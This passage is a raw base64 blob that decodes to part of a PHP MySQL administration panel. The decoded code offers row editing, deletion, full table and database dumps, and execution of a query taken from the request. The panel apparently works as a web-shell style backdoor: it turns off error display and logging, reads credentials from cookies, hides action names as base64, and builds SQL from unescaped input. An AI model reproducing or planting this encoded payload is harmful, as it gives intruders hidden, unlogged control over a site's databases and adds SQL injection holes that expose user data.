fQ0KCQkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCQlteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCQkkcFJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgPSAgIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSBXSEVSRSAka2V5IiwgJG15c3FsSGFuZGxlICk7DQoJCSRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJfQ0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRicgbWV0aG9kPXBvc3Q+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWFkZERhdGFfc3VibWl0PlxuIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1lZGl0RGF0YV9zdWJtaXQ+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFsdWU9JHRhYmxlbmFtZT5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+TmFtZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5UeXBlPC90aD5cbiI7DQoJZWNobyAiPHRoPkZ1bmN0aW9uPC90aD5cbiI7DQoJZWNobyAiPHRoPkRhdGE8L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCgkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBSZXN1bHQgKTsNCgkkcFJlc3VsdExlbiA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJCSRmaWVsZG5hbWUgPSAkZmllbGRbIkZpZWxkIl07DQoJCSRmaWVsZHR5cGUgPSAkZmllbGRbIlR5cGUiXTsNCgkJJGxlbiA9IG15c3FsX2ZpZWxkX2xlbiggJHBSZXN1bHRMZW4sICRpICk7DQoJCWVjaG8gIjx0cj4iOw0KCQllY2hvICI8dGQ+JGZpZWxkbmFtZTwvdGQ+IjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+IjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiPHNlbGVjdCBuYW1lPSR7ZmllbGRuYW1lfV9mdW5jdGlvbj5cbiI7DQoJCWVjaG8gIjxvcHRpb24+XG4iOw0KCQllY2hvICI8b3B0aW9uPkFTQ0lJXG4iOw0KCQllY2hvICI8b3B0aW9uPkNIQVJcbiI7DQoJCWVjaG8gIjxvcHRpb24+U09VTkRFWFxuIjsNCgkJZWNobyAiPG9wdGlvbj5DVVJEQVRFXG4iOw0KCQllY2hvICI8b3B0aW9uPkNVUlRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+RlJPTV9EQVlTXG4iOw0KCQllY2hvICI8b3B0aW9uPkZST01fVU5JWFRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+Tk9XXG4iOw0KCQllY2hvICI8b3B0aW9uPlBBU1NXT1JEXG4iOw0KCQllY2hvICI8b3B0aW9uPlBFUklPRF9BRERcbiI7DQoJCWVjaG8gIjxvcHRpb24+UEVSSU9EX0RJRkZcbiI7DQoJCWVjaG8gIjxvcHRpb24+VE9fREFZU1xuIjsNCgkJZWNobyAiPG9wdGlvbj5VU0VSXG4iOw0KCQllY2hvICI8b3B0aW9uPldFRUtEQVlcbiI7DQoJCWVjaG8gIjxvcHRpb24+UkFORFxuIjsNCgkJZWNobyAiPC9zZWxlY3Q+XG4iOw0KCQllY2hvICI8L3RkPlxuIjsNCgkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkZGF0YVskaV0pOw0KCQlpZiggJGNtZCA9PSAiYWRkIiApIHsNCgkJCSR0eXBlID0gc3RydG9rKCAkZmllbGR0eXBlLCAiICgsKVxuIiApOw0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8fCAkdHlwZSA9PSAic2V0IiApIHsNCgkJCQllY2hvICI8dGQ+XG4iOw0KCQkJCWlmKCAkdHlwZSA9PSAiZW51bSIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZT5cbiI7DQoJCQkJZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZSBzaXplPTQgbXVsdGlwbGU+XG4iOw0KCQkJCXdoaWxlKCAkc3RyID0gc3RydG9rKCAiJyIgKSApIHsNCgkJCQkJZWNobyAiPG9wdGlvbj4kc3RyXG4iOw0KCQkJCQlzdHJ0b2soICInIiApOw0KCQkJCX0NCgkJCQllY2hvICI8L3NlbGVjdD5cbiI7DQoJCQkJZWNobyAiPC90ZD5cbiI7DQoJCQl9IGVsc2Ugew0KCQkJCWlmKCAkbGVuIDwgNDAgKQ0KCQkJCQllY2hvICI8dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTQwIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT48L3RkPlxuIjsNCgkJCQllbHNlDQoJCQkJCWVjaG8gIjx0ZD48dGV4dGFyZWEgY29scz00MCByb3dzPTMgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lPjwvdGV4dGFyZWE+XG4iOw0KCQkJfQ0KCQl9IGVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCQlpZiggJHR5cGUgPT0gImVudW0iIHx8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCWVjaG8gIjx0ZD5cbiI7DQoJCQkJaWYoICR0eXBlID09ICJlbnVtIiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lPlxuIjsNCgkJCQllbHNlIGlmKCAkdHlwZSA9PSAic2V0IiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7DQoJCQkJd2hpbGUoICRzdHIgPSBzdHJ0b2soICInIiApICkgew0KCQkJCQlpZiggJHZhbHVlID09ICRzdHIgKQ0KCQkJCQkJZWNobyAiPG9wdGlvbiBzZWxlY3RlZD4kc3RyXG4iOw0KCQkJCQllbHNlDQoJCQkJCQllY2hvICI8b3B0aW9uPiRzdHJcbiI7DQoJCQkJCXN0cnRvayggIiciICk7DQoJCQkJfQ0KCQkJCWVjaG8gIjwvc2VsZWN0PlxuIjsNCgkJCQllY2hvICI8L3RkPlxuIjsNCgkJCX0gZWxzZSB7DQoJCQkJaWYoICRsZW4gPCA0MCApDQoJCQkJCWVjaG8gIjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9NDAgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lIHZhbHVlPVwiJHZhbHVlXCI+PC90ZD5cbiI7DQoJCQkJZWxzZQ0KCQkJCQllY2hvICI8dGQ+PHRleHRhcmVhIGNvbHM9NDAgcm93cz0zIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT4kdmFsdWU8L3RleHRhcmVhPlxuIjsNCgkJCX0NCgkJfQ0KCQllY2hvICI8L3RyPiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdBZGQgRGF0YSc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IERhdGEnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9J0NhbmNlbCcgb25DbGljaz0naGlzdG9yeS5iYWNrKCknPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KfQ0KDQpmdW5jdGlvbiBtYW5hZ2VEYXRhX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCSRxdWVyeVN0ciA9ICJJTlNFUlQgSU5UTyAkdGFibGVuYW1lIFZBTFVFUyAoIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCSRxdWVyeVN0ciA9ICJSRVBMQUNFIElOVE8gJHRhYmxlbmFtZSBWQUxVRVMgKCI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bS0xOyAkaSsrICkgew0KCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQgKTsNCgkJJGZ1bmMgPSAkR0xPQkFMU1skZmllbGQtPm5hbWUuIl9mdW5jdGlvbiJdOw0KCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJJHF1ZXJ5U3RyIC49ICIgJGZ1bmMoIjsNCgkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkgew0KCQkJJHF1ZXJ5U3RyIC49ICRHTE9CQUxTWyRmaWVsZC0+bmFtZV07DQoJCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJCSRxdWVyeVN0ciAuPSAiKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiLCI7DQoJCX0gZWxzZSB7DQoJCQkkcXVlcnlTdHIgLj0gIiciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXTsNCgkJCWlmKCAkZnVuYyAhPSAiIiApDQoJCQkJJHF1ZXJ5U3RyIC49ICInKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiJywiOw0KCQl9DQoJfQ0KCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCApOw0KCWlmKCAkZmllbGQtPm51bWVyaWMgPT0gMSApDQoJCSRxdWVyeVN0ciAuPSAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIikiOw0KCWVsc2UNCgkJJHF1ZXJ5U3RyIC49ICInIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJykiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCgl2aWV3RGF0YSggIiIgKTsNCn0NCg0KZnVuY3Rpb24gZGVsZXRlRGF0YSgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJJGtleSA9ICIiOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQlpZiggJGZpZWxkLT5udW1lcmljID09IDEgKQ0KCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0iIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7DQoJCQllbHNlDQoJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICInIEFORCAiOw0KCX0NCgkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5U3RyID0gICJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICRrZXkiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCXZpZXdEYXRhKCAiIiApOw0KfQ0KDQpmdW5jdGlvbiBmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGUpDQp7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwkZGJuYW1lOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5X2lkID0gbXlzcWxfcXVlcnkoIlNIT1cgQ1JFQVRFIFRBQkxFICR0YWJsZSIsJG15c3FsSGFuZGxlKTsNCgkkdGFibGVkdW1wID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5X2lkLCBNWVNRTF9BU1NPQyk7DQoJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdGFibGU7XG4iIC4gJHRhYmxlZHVtcFsnQ3JlYXRlIFRhYmxlJ10gLiAiO1xuXG4iOw0KCWVjaG8gJHRhYmxlZHVtcDsNCgkvLyBnZXQgZGF0YQ0KCSRyb3dzID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJHRhYmxlIiwkbXlzcWxIYW5kbGUpOw0KCSRudW1maWVsZHM9bXlzcWxfbnVtX2ZpZWxkcygkcm93cyk7DQoJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcm93cywgTVlTUUxfTlVNKSkNCgl7DQoJCSR0YWJsZWR1bXAgPSAiSU5TRVJUIElOVE8gJHRhYmxlIFZBTFVFUygiOw0KCQkkZmllbGRjb3VudGVyID0gLTE7DQoJCSRmaXJzdGZpZWxkID0gMTsNCgkJLy8gZ2V0IGVhY2ggZmllbGQncyBkYXRhDQoJCXdoaWxlICgrKyRmaWVsZGNvdW50ZXIgPCAkbnVtZmllbGRzKQ0KCQl7DQoJCQlpZiAoISRmaXJzdGZpZWxkKQ0KCQkJew0KCQkJCSR0YWJsZWR1bXAgLj0gJywgJzsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQkkZmlyc3RmaWVsZCA9IDA7DQoJCQl9DQoJCQlpZiAoIWlzc2V0KCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkpDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAnTlVMTCc7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAiJyIgLiBteXNxbF9lc2NhcGVfc3RyaW5nKCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkgLiAiJyI7DQoJCQl9DQoJCX0NCgkJJHRhYmxlZHVtcCAuPSAiKTtcbiI7DQoJCWVjaG8gJHRhYmxlZHVtcDsNCgl9DQoJQG15c3FsX2ZyZWVfcmVzdWx0KCRyb3dzKTsNCn0NCg0KZnVuY3Rpb24gZHVtcCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkYWN0aW9uLCAkZGJuYW1lLCAkdGFibGVuYW1lOw0KCWlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiICl7DQoJCWhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogZmlsZW5hbWU9JHRhYmxlbmFtZS5zcWwiKTsNCgkJaGVhZGVyKCdDb250ZW50LXR5cGU6IHVua25vd24vdW5rbm93bicpOw0KCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGVuYW1lKTsNCgkJZWNobyAiXG5cblxuIjsNCgkJZWNobyAiXHJcblxyXG5cclxuIyMjICR0YWJsZW5hbWUgVEFCTEUgRFVNUCBDT01QTEVURUQgIyMjIjsNCgkJZXhpdDsNCgl9ZWxzZXsNCgkJaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBmaWxlbmFtZT0kZGJuYW1lLnNxbCIpOw0KCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogdW5rbm93bi91bmtub3duJyk7DQoJCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJCSRxdWVyeV9pZCA9IG15c3FsX3F1ZXJ5KCJTSE9XIHRhYmxlcyIsJG15c3FsSGFuZGxlKTsNCgkJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnlfaWQsIE1ZU1FMX05VTSkpDQoJCXsNCgkJCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkcm93WzBdKTsNCgkJCQllY2hvICJcblxuXG4iOw0KCQkJCWVjaG8gIlxyXG5cclxuXHJcbiMjIyAkcm93WzBdIFRBQkxFIERVTVAgQ09NUExFVEVEICMjIyI7DQoJCQkJZWNobyAiXG5cblxuIjsNCgkJfQ0KCQllY2hvICJcclxuXHJcblxyXG4jIyMgJGRibmFtZSBEQVRBQkFTRSBEVU1QIENPTVBMRVRFRCAjIyMiOw0KCQlleGl0Ow0KCX0NCn0NCg0KZnVuY3Rpb24gdXRpbHMoKSB7DQoJZ2xvYmFsICRQSFBfU0VMRiwgJGNvbW1hbmQ7DQoJZWNobyAiPGgxPlV0aWxpdGllczwvaDE+XG4iOw0KCWlmKCAkY29tbWFuZCA9PSAiIiB8fCBzdWJzdHIoICRjb21tYW5kLCAwLCA1ICkgPT0gImZsdXNoIiApIHsNCgkJZWNobyAiPGhyPlxuIjsNCgkJZWNobyAiU2hvd1xuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3ZhcmlhYmxlcyc+VmFyaWFibGVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3Byb2Nlc3NsaXN0Jz5Qcm9jZXNzbGlzdDwvYT5cbiI7DQoJCWVjaG8gIjwvdWw+XG4iOw0KCQllY2hvICJGbHVzaFxuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9ob3N0cyc+SG9zdHM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2hvc3RzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGhvc3RzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9sb2dzJz5Mb2dzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9sb2dzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGxvZ3MiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3ByaXZpbGVnZXMnPlByaXZpbGVnZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3ByaXZpbGVnZXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggcHJpdmlsZWdlcyIgKSAhPSBmYWxzZSApDQoJCQkJZWNobyAiLSBTdWNjZXNzIjsNCgkJCWVsc2UNCgkJCQllY2hvICItIEZhaWwiOw0KCQl9DQoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1c2hfdGFibGVzJz5UYWJsZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3RhYmxlcyIgKSB7DQoJCQlpZiggbXlzcWxfcXVlcnkoICJGbHVzaCB0YWJsZXMiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9zdGF0dXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggc3RhdHVzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPC91bD5cbiI7DQoJfSBlbHNlIHsNCgkJJHF1ZXJ5U3RyID0gZXJlZ19yZXBsYWNlKCAiXyIsICIgIiwgJGNvbW1hbmQgKTsNCgkJJHBSZXN1bHQgPSBteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICk7DQoJCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJCWVjaG8gIkZhaWwiOw0KCQkJcmV0dXJuOw0KCQl9DQoJCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kcXVlcnlTdHI8L3A+XG4iOw0KCQllY2hvICI8aHI+XG4iOw0KCQllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yIGJvcmRlcj0wPlxuIjsNCgkJZWNobyAiPHRyPlxuIjsNCgkJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJCWVjaG8gIjx0aD4iLiRmaWVsZC0+bmFtZS4iPC90aD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJCXdoaWxlKCAxICkgew0KCQkJJHJvd0FycmF5ID0gbXlzcWxfZmV0Y2hfcm93KCAkcFJlc3VsdCApOw0KCQkJaWYoICRyb3dBcnJheSA9PSBmYWxzZSApIGJyZWFrOw0KCQkJZWNobyAiPHRyPlxuIjsNCgkJCWZvciggJGogPSAwOyAkaiA8ICRjb2w7ICRqKysgKQ0KCQkJCWVjaG8gIjx0ZD4iLmh0bWxzcGVjaWFsY2hhcnMoICRyb3dBcnJheVskal0gKS4iPC90ZD5cbiI7DQoJCQllY2hvICI8L3RyPlxuIjsNCgkJfQ0KCQllY2hvICI8L3RhYmxlPlxuIjsNCgl9DQp9DQpmdW5jdGlvbiBmb290ZXJfaHRtbCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEYsICRVU0VSTkFNRTsNCgllY2hvICI8aHI+XG4iOw0KCWVjaG8gIjxzcGFuIGNsYXNzPVwibmV3XCI+WyRVU0VSTkFNRV08L3NwYW4+IC0gXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249YkdsemRFUkNjdz09Jz5EYXRhYmFzZSBMaXN0PC9hPiB8IFxuIjsNCglpZiggJHRhYmxlbmFtZSAhPSAiIiApDQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bGlzdFRhYmxlcyZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+VGFibGUgTGlzdDwvYT4gfCAiOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMnPlV0aWxzPC9hPiB8XG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bG9nb3V0Jz5Mb2dvdXQ8L2E+XG4iOw0KfQ0KLy8tLS0tLS0tLS0tLS0tIE1BSU4gLS0tLS0tLS0tLS0tLSAvLw0KZXJyb3JfcmVwb3J0aW5nKDApOw0KaW5pX3NldCAoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7DQppbmlfc2V0ICgnbG9nX2Vycm9ycycsIDApOw0KaWYoICRhY3Rpb24gPT0gImxvZ29uIiB8fCAkYWN0aW9uID09ICIiIHx8ICRhY3Rpb24gPT0gImxvZ291dCIgKQ0KCWxvZ29uKCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJiRzluYjI1ZmMzVmliV2wwIiApDQoJbG9nb25fc3VibWl0KCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiIHx8ICRhY3Rpb24gPT0gImR1bXBEQiIgKSB7DQoJd2hpbGUoIGxpc3QoJHZhciwgJHZhbHVlKSA9IGVhY2goJEhUVFBfQ09PS0lFX1ZBUlMpICkgew0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApICRVU0VSTkFNRSA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKSAkUEFTU1dPUkQgPSAkdmFsdWU7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICkgJEhPU1ROQU1FID0gJHZhbHVlOw0KCX0NCgkkbXlzcWxIYW5kbGUgPSBAbXlzcWxfY29ubmVjdCggJEhPU1ROQU1FLiI6MzMwNiIsICRVU0VSTkFNRSwgJFBBU1NXT1JEICk7DQoJZHVtcCgpOw0KfSBlbHNlIHsNCgl3aGlsZSggbGlzdCgkdmFyLCAkdmFsdWUpID0gZWFjaCgkSFRUUF9DT09LSUVfVkFSUykgKSB7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5fdXNlcm5hbWUiICkgJFVTRVJOQU1FID0gJHZhbHVlOw0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3Bhc3N3b3JkIiApICRQQVNTV09SRCA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIgKSAkSE9TVE5BTUUgPSAkdmFsdWU7DQoJfQ0KCWVjaG8gIjwhLS0iOw0KCSRteXNxbEhhbmRsZSA9IEBteXNxbF9jb25uZWN0KCAkSE9TVE5BTUUuIjozMzA2IiwgJFVTRVJOQU1FLCAkUEFTU1dPUkQgKTsNCgllY2hvICItLT4iOw0KCWlmKCAkbXlzcWxIYW5kbGUgPT0gZmFsc2UgKSB7DQoJCWVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGhlaWdodD0xMDAlPjx0cj48dGQ+PGNlbnRlcj5cbiI7DQoJCWVjaG8gIjxoMT5Xcm9uZyBQYXNzd29yZCE8L2gxPlxuIjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1sb2dvbic+TG9nb248L2E+XG4iOw0KCQllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJfSBlbHNlIHsNCgkJaWYoICRhY3Rpb24gPT0gImJHbHpkRVJDY3c9PSIgKQ0KCQkJbGlzdERhdGFiYXNlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVEQiIgKQ0KCQkJY3JlYXRlRGF0YWJhc2UoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcERCIiA